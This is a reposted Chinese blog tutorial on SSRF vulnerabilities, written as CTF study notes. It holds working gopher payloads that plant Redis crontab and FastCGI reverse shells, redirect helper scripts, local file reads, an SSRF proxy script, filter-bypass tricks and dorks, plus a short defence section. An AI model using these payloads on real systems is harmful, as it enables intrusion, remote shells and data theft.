當前位置:網站首頁>一篇文章深入學習SSRF漏洞

一篇文章深入學習SSRF漏洞

2022-01-26 23:53:04 yggcwhat

tags: SSRF
categories: TOP10基礎漏洞

博客原文地址: https://hack-for.fun/posts/20200120/

0x00 前言

因為最近做題遇到了兩道在考察SSRF漏洞的CTF題目,感覺只是知道個大概,知道怎麼去判斷可能存在SSRF漏洞肯定是不够的,必須要從原理上理解這個漏洞,因為SSRF漏洞更多的不是一個漏洞,而是一種攻擊思路.

本學習筆記,大量參考自網絡上各比特大佬總結好的,再加上自己的心得總結而成,用途僅用於安全技術學習.文末注明參考資料,侵删.

0x01 基礎知識

這裏新的相關基礎知識不是很多,主要是以前都有總結過.主要是一些函數和一些協議的知識

PHP function

下面學習相關函數和後端實現(從CTF wiki拿過來的)

file_get_contents()

 

<?php
if (isset($_POST['url'])) { 
    $content = file_get_contents($_POST['url']); 
    $filename ='./images/'.rand().';img1.jpg'; 
    file_put_contents($filename, $content); 
    echo $_POST['url']; 
    $img = "<img src=\"".$filename."\"/>"; 
}
echo $img;
?>

fsockopen()

<?php 
function GetFile($host,$port,$link) { // 定義一個請求文件的函數
    $fp = fsockopen($host, intval($port), $errno, $errstr, 30); // intval()獲取變量的整數值 
    if (!$fp) { 
        echo "$errstr (error number $errno) \n"; 
    } else { // 發起HHTP請求
        $out = "GET $link HTTP/1.1\r\n"; 
        $out .= "Host: $host\r\n"; 
        $out .= "Connection: Close\r\n\r\n"; 
        $out .= "\r\n"; 
        fwrite($fp, $out); 
        $contents=''; 
        while (!feof($fp)) { 
            $contents.= fgets($fp, 1024); 
        } 
        fclose($fp); 
        return $contents; 
    } 
}
?>

 curl_exec()

<?php 
if (isset($_POST['url'])) {
    $link = $_POST['url'];
    $curlobj = curl_init();//初始化一個cURL會話為curlobj
    curl_setopt($curlobj, CURLOPT_POST, 0); // 設置URL選項
    curl_setopt($curlobj,CURLOPT_URL,$link);
    curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
    $result=curl_exec($curlobj); // 抓取URL並傳遞給瀏覽器
    curl_close($curlobj); // 關閉cURL資源,釋放系統資源
​
    $filename = './curled/'.rand().'.txt';
    file_put_contents($filename, $result); 
    echo $result;
}
?>

 Python後端實現

#coding: utf-8
    import urllib
    url = 'http://127.0.0.1'
    info = urllib.urlopen(url)
    print(info.read().decode('utf-8'))

相關協議

Dict 協議 http://www.dict.org/rfc2229.txt

DICT協議_百度百科

Dict協議,字典服務器器協議,dict是基於查詢響應的TCP協議,它的目標是超越Webster protocol,並允許客戶端在使用過程中訪問更多字典。Dict服務器和客戶機使用TCP端口2628。

Gopher 協議

Gopher協議是互聯網上使用的分布型的文件搜集獲取網絡協議。gopher協議是在HTTP協議出現之前,在internet上常見重用的協議,但是現在已經用的很少了

File 協議

這個協議就比較熟悉了吧

File協議也就是,本地文件傳輸協議

0x02 什麼是SSRF漏洞

SSRF 簡介

SSRF,Server-Side Request Forgery,服務端請求偽造,是一種由攻擊者構造形成由服務器端發起請求的一個漏洞。一般情况下,SSRF 攻擊的目標是從外網無法訪問的內部系統。

因此學習SSRF就奔著三個目的.what?how to do?how to bypass?

漏洞形成的原因大多是因為服務端提供了從其他服務器應用獲取數據的功能且沒有對目標地址作過濾和限制。

攻擊者可以利用 SSRF 實現的攻擊主要有 5 種:

  1. 可以對外網、服務器所在內網、本地進行端口掃描,獲取一些服務的 banner 信息
  2. 攻擊運行在內網或本地的應用程序(比如溢出)
  3. 對內網 WEB 應用進行指紋識別,通過訪問默認文件實現
  4. 攻擊內外網的 web 應用,主要是使用 GET 參數就可以實現的攻擊(比如 Struts2,sqli 等)
  5. 利用 file 協議讀取本地文件等

SSRF漏洞 出現的場景

  • 能够對外發起網絡請求的地方,就可能存在 SSRF 漏洞
  • 從遠程服務器請求資源(Upload from URL,Import & Export RSS Feed)
  • 數據庫內置功能(Oracle、MongoDB、MSSQL、Postgres、CouchDB)
  • Webmail 收取其他郵箱郵件(POP3、IMAP、SMTP)
  • 文件處理、編碼處理、屬性信息處理(ffmpeg、ImageMagic、DOCX、PDF、XML)

  1. 社交分享功能:獲取超鏈接的標題等內容進行顯示
  2. 轉碼服務:通過URL地址把原地址的網頁內容調優使其適合手機屏幕瀏覽
  3. 在線翻譯:給網址翻譯對應網頁的內容
  4. 圖片加載/下載:例如富文本編輯器中的點擊下載圖片到本地;通過URL地址加載或下載圖片
  5. 圖片/文章收藏功能:主要其會取URL地址中title以及文本的內容作為顯示以求一個好的用戶體驗
  6. 雲服務廠商:它會遠程執行一些命令來判斷網站是否存活等,所以如果可以捕獲相應的信息,就可以進行ssrf測試
  7. 網站采集,網站抓取的地方:一些網站會針對你輸入的url進行一些信息采集工作
  8. 數據庫內置功能:數據庫的比如mongodb的copyDatabase函數
  9. 郵件系統:比如接收郵件服務器地址
  10. 編碼處理, 屬性信息處理,文件處理:比如ffpmg,ImageMagick,docx,pdf,xml處理器等
  11. 未公開的api實現以及其他擴展調用URL的功能:可以利用google 語法加上這些關鍵字去尋找SSRF漏洞。 一些的url中的關鍵字:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain……
  12. 從遠程服務器請求資源(upload from url 如discuz!;import & expost rss feed 如web blog;使用了xml引擎對象的地方 如wordpress xmlrpc.php)

SSRF漏洞驗證

1.排除法:瀏覽器f12查看源代碼看是否是在本地進行了請求

比如:該資源地址類型為 http://www.xxx.com/a.php?image=(地址)的就可能存在SSRF漏洞

2.dnslog等工具進行測試,看是否被訪問

--可以在盲打後臺用例中將當前准備請求的uri 和參數編碼成base64,這樣盲打後臺解碼後就知道是哪臺機器哪個cgi觸發的請求。

3.抓包分析發送的請求是不是由服務器的發送的,如果不是客戶端發出的請求,則有可能是,接著找存在HTTP服務的內網地址

--從漏洞平臺中的曆史漏洞尋找泄漏的存在web應用內網地址

--通過二級域名暴力猜解工具模糊猜測內網地址

4.直接返回的Banner、title、content等信息

5.留意bool型SSRF

0x03 漏洞利用

本地利用

可以看到curl可以支持的協議有dice file ftp ftps gopher http https...

file協議查看文件 curl -v 'file://etc/passwd

dict協議探測端口curl -v 'dict://127.0.0.1:22/info'查看ssh的banner信息,curl -v 'dict://127.0.0.1:6379/info'查看redis相關配置

gopher協議支持GET&POST請求,同時在攻擊內網ftp/redis/telnet/Memcache上有非常大的作用,利用gopher協議訪問redis反彈shell

curl -v 'gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a'

遠程利用

首先假設攻擊者預先編輯好的SSRF漏洞為ssrf.php

dict協議探測端口

curl -v ‘http://a.com/ssrf.php?url=dict://172.0.0.1:22/info‘curl -v ‘http://a.com/ssrf.php?url=dict://127.0.0.1:6379/info‘

gopher協議訪問redis反彈shell

curl -v 'http://a.com/ssrf.php?url=gopher%3A%2F%2F127.0.0.1%3A6379%2F_%2A3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2456%250d%250a%250d%250a%250a%250a%2A%2F1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F127.0.0.1%2F2333%200%3E%261%250a%250a%250a%250d%250a%250d%250a%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2Fvar%2Fspool%2Fcron%2F%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2A1%250d%250a%244%250d%250asave%250d%250a%2A1%250d%250a%244%250d%250aquit%250d%250a'

漏洞代碼ssrf2.php

  1. 限制協議HTTP/HTTPS
  2. 跳轉重定向為true,默認不跳轉

<?php
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, True);
// 限制為HTTPS、HTTP協議
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}
​
$url = $_GET['url'];
curl($url);
?>

 這種情况使用dict協議是不行的,但是可以利用302跳轉的方式來繞過http協議限制

curl -v "http:///forum.php?mod=ajax&action=downremoteimg&message=[img]http://a.com/302.php?helo.jpg[/img]"

302.php中的代碼為:

<?php
header("Location: dict://10.0.0.2:6379/info");#探測redsi信息
?>

location 302 跳轉輔助脚本

<?php
$ip = $_GET['ip'];
$port = $_GET['port'];
$scheme = $_GET['s'];
$data = $_GET['data'];
header("Location: $scheme://$ip:$port/$data");
?>

舉例騰訊微博2016年的SSRF(參考資料3)

curl -v 'http://share.v.t.qq.com/index.php?c=share&a=pageinfo&url=http://localhost/file.php'
​
#file.php
<?php
header("Location: file:///etc/passwd");
?>

攻擊Application

正如筆記開篇說道,ssrf更多的來說是一種攻擊模式.web ssrf可以作為跳板來攻擊內網多種應用.比如redis/discuz/fastcgi/memcache/webdav/Struts/jboss/axis2等應用

雖然下面很多東西現在我還用不到,但是遇見了就學習記錄下來,以後隨時可以翻看

首先需要探測目標內網,因為服務器支持gopher協議,ssrf+gopher=ssrfsocks

GitHub - iamultra/ssrfsocks: Creates a SOCK proxy server that transmits data over an SSRF vulnerability

GitHub - bcoles/ssrf_proxy: SSRF Proxy facilitates tunneling HTTP communications through servers vulnerable to Server-Side Request Forgery.

第一個大概是在講解原理,第二個是一個ssrf代理的工具

猪猪俠的ssrfsocks.py脚本

#!/usr/bin/env python
​
import sys
import socket
import thread
import binascii
import struct
import urllib
import urllib2
HOST = 'localhost'
PORT = 65432
BUFSIZ = 4096
TIMEOUT = 5
SOCKS = True
CONNECT = "gopher%3A//"
​
def decodesocks(req):
if req[0] != 'x04':
raise Exception('bad version number')
if req[1] != 'x01':
raise Exception('only tcp stream supported')
port = req[2:4]
host = req[4:8]
if host[0] == 'x00' and host[1] == 'x00' and host[2] == 'x00' and host[3] != 'x00':
byname = True
else:
byname = False
userid = ""
i = 8
while req[i] != 'x00':
userid += req[i]
extra = ""
if byname:
while req[i] != 'x00':
extra += req[i]
return host, port, extra
​
def child(sock,addr,base):
try:
if SOCKS:
req = sock.recv(BUFSIZ)
host, port, extra = decodesocks(req)
if extra == "":
dest = socket.inet_ntoa(host)
else:
dest = extra
destport, = struct.unpack("!H", port)
sock.send("x00x5a"+port+host)
data = sock.recv(BUFSIZ)
#print "sending:", data
encodeddata = urllib.quote(data)
url = base+CONNECT+dest+":"+str(destport)+"/A"+encodeddata
#print "connecting to ", url
ret = urllib2.urlopen(url,timeout=TIMEOUT)
retdata = ret.read()
#print "received:", retdata
if len(retdata) > 0:
sock.send(retdata)
sock.close()
except Exception as e:
print e
sock.close()
​
if __name__=='__main__': 
if len(sys.argv) != 2:
sys.exit('Usage: %s BASEURLnExample: %s "http://victim.com/xxe.php?uri="' % sys.argv[0], sys.argv[0])
base = sys.argv[1]
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((HOST, PORT))
server.listen(2)
print 'listener ready on port', PORT
try:
while 1:
client, addr = server.accept()
#print 'connection from:', addr
thread.start_new_thread(child, (client,addr,base))
except KeyboardInterrupt:
server.close()

攻擊redis(6379端口) 更多的詳細內容 請看 淺析Redis中SSRF的利用

首先需要了解通過redis getshell的exp 寫成的bash

echo -e "nn*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1nn"|redis-cli -h $1 -p $2 -x set 1 
redis-cli -h $1 -p $2 config set dir /var/spool/cron/ redis-cli -h $1 -p $2 config set dbfilename root 
redis-cli -h $1 -p $2 save redis-cli -h $1 -p $2 quit

執行命令bash shell.sh 127.0.0.1:6389 可在redis裏寫入crontab的定時任務,本地通過nc -nvlp 2333 開啟監聽2333端口來反彈shell

redis常見的ssrf攻擊大概有:

  1. 絕對路徑寫webshell
  2. 寫ssh公鑰
  3. 寫contrab計劃任務反彈shell

詳細內容還是看那篇文章.

將普通請求轉成適配的gopher協議(看參考資料7)

攻擊FastCGI

首先根據faci_exp生成exp,隨後改成支持gopher協議的URL

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%0F%13SCRIPT_FILENAME/var/www/html/1.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C%3Fphp%20system%28%27bash%20-i%20%3E%26%20/dev/tcp/172.19.23.228/2333%200%3E%261%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00

本地監聽2333端口 接收反彈shell

利用gopher協議存在的問題(參考資料3)

  1. PHP的curl默認不跟隨302跳轉
  2. curl7.43上gopher協議存在%00截斷的BUG,v7.49可用
  3. file_get_contents()的SSRF,gopher協議不能使用URLencode
  4. file_get_contents()的SSRF,gopher協議的302跳轉有BUG會導致利用失敗

0x04 bypass

1)更改IP地址寫法(在上一篇筆記中,有總結過IP地址的不同形式,但效果是一樣的),如: 192.168.0.1

  • 8進制格式: 300.
  • 16進制格式: 0xc0.0xa8.0.1
  • 10進制整數格式: 3232235521
  • 16進制整數格式: 0xC0A80001
  • 特殊的省略模式: 列入10.0.0.1可寫為10.1

2)利用URL解析問題,在某些情况下,後端程序可能會對訪問的URL進行解析,對解析出來的HOST地址進行過濾.如果URL參數解析不當,可能繞過過濾

解釋: 後端程序通過不正確的正則錶達式(比如將http之後到com為止的字符內容,也就是www.baidu.com,認為是訪問請求的host地址時)對上述URL的內容進行解析的時候,很有可能會認為訪問URL的host為www.baidu.com,而實際上這個URL所請求的內容都是192.168.0.1上的內容。

  • 可以指向任意 ip 的域名xip.iohttp://127.0.0.1.xip.io/==>http://127.0.0.1/
  • 短地址http://dwz.cn/11SMa==>http://127.0.0.1
  • 利用句號127。0。0。1==>127.0.0.1
  • 利用 Enclosed alphanumerics ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> example.com List: ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿

這個就比較tql了...

3)利用302跳轉

前提是服務器要允許30x跳轉

如果後端服務器在接收到參數後,正確的解析了URL的host,並且進行了過濾,我們這個時候可以使用302跳轉的方式來進行繞過。

百度短網址服務,要錢的並且不支持ip形式百度短網址

這個支持,並且感覺很不錯 短網址生成器

(1)、在網絡上存在一個很神奇的服務,http://xip.io 當我們訪問這個網站的子域名的時候,例如192.168.0.1.xip.io,就會自動重定向到192.168.0.1。

(2)、由於上述方法中包含了192.168.0.1這種內網IP地址,可能會被正則錶達式過濾掉,我們可以通過短地址的方式來繞過。經過測試發現新浪,百度的短地址服務並不支持IP模式,所以這裏使用的是短網址生成器所提供的短地址服務.

這裏提一下302跳轉和307跳轉的區別,307跳轉回轉發POST請求中的 數據等,但是302跳轉不會.

4)通過各種非HTTP協議

如果服務器端程序對訪問URL所采用的協議進行驗證的話,可以通過非HTTP協議來進行利用。

(1)、GOPHER協議:通過GOPHER我們在一個URL參數中構造Post或者Get請求,從而達到攻擊內網應用的目的。例如我們可以使用GOPHER協議對與內網的Redis服務進行攻擊,可以使用如下的URL:

gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1* * * * bash -i >& /dev/tcp/172.19.23.228/23330>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a

(2)、File協議:File協議主要用於訪問本地計算機中的文件,我們可以通過類似file:///文件路徑這種格式來訪問計算機本地文件。使用file協議可以避免服務端程序對於所訪問的IP進行的過濾。例如我們可以通過file:///d:/1.txt 來訪問D盤中1.txt的內容

5)DNS Rebinding

DNS重綁定

對於用戶請求的URL參數,首先服務器端會對其進行DNS解析,然後對於DNS服務器返回的IP地址進行判斷,如果在黑名單中,就pass掉。

但是在整個過程中,第一次去請求DNS服務進行域名解析到第二次服務端去請求URL之間存在一個時間查,利用這個時間差,我們可以進行DNS 重綁定攻擊

要完成DNS重綁定攻擊,我們需要一個域名,並且將這個域名的解析指定到我們自己的DNS Server,在我們的可控的DNS Server上編寫解析服務,設置TTL時間為0。這樣就可以進行攻擊了,完整的攻擊流程為:

(1)、服務器端獲得URL參數,進行第一次DNS解析,獲得了一個非內網的IP (2)、對於獲得的IP進行判斷,發現為非黑名單IP,則通過驗證 (3)、服務器端對於URL進行訪問,由於DNS服務器設置的TTL為0,所以再次進行DNS解析,這一次DNS服務器返回的是內網地址。 (4)、由於已經繞過驗證,所以服務器端返回訪問內網資源的結果。

6)其他繞過

利用[::]繞過localhost

一個好的黑客就是要不斷的bypass...

利用@

http://[email protected]

利於中文句號

127。0。0。1

7)繞過parse_url()

參考 SSRF技巧之如何繞過filter_var( ) - 安全客,安全資訊平臺

https://skysec.top/2018/03/15/Some%20trick%20in%20ssrf%20and%20unserialize()/#trick1-filter-var-bypass

原理:

parse_url與libcurl對curl的解析差异

php 7.0
php 7.0
libcurl 7.52

匹配規則

php parse_url:
host: 匹配最後一個@後面符合格式的host

libcurl:
host:匹配第一個@後面符合格式的host

比如如下url:

http://u:[email protected]:[email protected]/

php解析結果:

schema: http 
host: b.com
user: u
pass: [email protected]:80

而libcurl解析結果:

schema: http
host: a.com
user: u
pass: p
port: 80
後面的@b.com/會被忽略掉

那麼此時,如果惡意代碼檢測是依據parse_url的結果,就會導致繞過問題 我們假設一個環境: 1.利用curl對用戶給出ip進行訪問並獲取內容 2.為防止ssrf,我們利用parse_url進行解析,設置waf 那麼就以剛才的url為例:http://u:[email protected]:[email protected]/ 如果我們的後端代碼用parse_url()去解析我們傳入的url,並只允許訪問Host為b.com的ip 而此時如果我們傳入的是剛才的url,那麼我們可以繞過解析,並且curl訪問到非法ip

0x05 漏洞挖掘

1)Googlehacking

  • inurl:?apiurl=
  • inurl:?url=
  • inurl:?image=http:// ?image=https://
  • site:fanyi.*.com
  • inurl:?site=

2)二級域名搜集

3)上面寫的漏洞出現場景

0x06 漏洞防禦

  • 限制協議為HTTP/HTTPS
  • 禁止30X跳轉
  • 設置URL白名單或者限制內網IP(使用gethostbyname()判斷是否為內網IP
  • 服務端開啟OpenSSL無法交互利用
  • 服務端需要認證交互
  • 把用於取外網資源的API部署在不屬於自己的機房
  • 過濾返回信息,驗證遠程服務器對請求的響應是比較容易的方法。如果web應用是去獲取某一種類型的文件。那麼在把返回結果展示給用戶之前先驗證返回的信息是否符合標准。
  • 限制請求的端口為http常用的端口,比如 80、443、8080、8090
  • 統一錯誤信息,避免用戶可以根據錯誤信息來判斷遠端服務器的端口狀態。

0x07 總結

跳轉exp

  1. <?php $ip = $_GET['ip']; $port = $_GET['port']; $scheme = $_GET['s']; $data = $_GET['data']; header("Location: $scheme://$ip:$port/$data"); ?>
  2. 常見的網絡協議的知識還需要補充.比如什麼端口對應什麼服務

比如,內網地址是ipv4地址協議中預留的分別是

  • 10.0.0.0--10.255.255.255
  • 172.16.0.0--172.31.255.255
  • 192.168.0.0--192.168.255.255

原文網址:https://kknews.cc/news/2kojba9.html

0x08 參考資料

  1. https://ctf-wiki.github.io/ctf-wiki/web/ssrf-zh/
  2. 常見協議 · Wiki | janes
  3. 淺析SSRF原理及利用方式 - 安全客,安全資訊平臺
  4. ssrf的一些新研究資料 - 紅藍對抗
  5. https://xz.aliyun.com/t/5665
  6. GitHub - iamultra/ssrfsocks: Creates a SOCK proxy server that transmits data over an SSRF vulnerability
  7. https://joychou.org/web/phpssrf.html
  8. https://_thorns.gitbooks.io/sec/content/bilibilimou_fen_zhan_cong_xin_xi_xie_lu_dao_ssrf_z.html
  9. 訪問的文章審核中... - FreeBuf網絡安全行業門戶
  10. 那些年烏雲大佬們 SSRF 過的內網(一) 有烏雲的文章,好好學習吧
  11. 記一個 SSRF
  12. SSRF(服務器端請求偽造)測試資源
  13. SSRF聖經
  14. 利用Gopher協議拓展攻擊面
  15. SSRF Tips | xl7dev 總結了對應不同app的不同exp還有一些函數知識
  16. 實戰篇丨聊一聊SSRF漏洞的挖掘思路與技巧
  17. https://www.freebuf.com/column/157466.html

其實網上關於SSRF的資料多的很,我也就根據了幾篇感覺寫的比較好的來總結的.更多的其實需要在懂了原理之後的實際操作.

後續補充把~

文章轉載於:一篇文章深入學習SSRF漏洞 - 雲+社區 - 騰訊雲 (tencent.com)

版權聲明
本文為[yggcwhat]所創,轉載請帶上原文鏈接,感謝
https://cht.chowdera.com/2022/01/202201262353040084.html

隨機推薦